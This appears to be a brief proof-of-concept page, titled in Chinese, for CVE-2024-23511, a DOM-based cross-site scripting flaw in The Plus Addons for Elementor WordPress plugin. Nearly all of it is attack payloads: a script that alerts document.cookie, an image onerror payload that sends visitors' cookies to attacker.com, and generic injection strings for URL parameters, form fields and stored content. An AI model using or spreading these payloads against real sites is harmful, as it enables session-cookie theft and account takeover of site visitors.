CVE-2024-23511 | The Plus Addons for Elementor DOM型XSS漏洞

<!-- CVE-2024-23511 PoC - DOM-based XSS in The Plus Addons for Elementor --> <!-- Example payload to demonstrate the XSS vulnerability --> <script>alert(document.cookie)</script> <!-- Real-world attack example --> <!-- Inject into vulnerable parameter/field --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- Common attack vectors --> <!-- 1. Via URL parameter --> <!-- https://victim.com/page?param=<script>malicious_code</script> --> <!-- 2. Via form input --> <!-- Input field value: "><script>alert('XSS')</script> --> <!-- 3. Via stored content --> <!-- Plugin saves unsanitized user input to database --> <!-- When page renders, XSS payload executes -->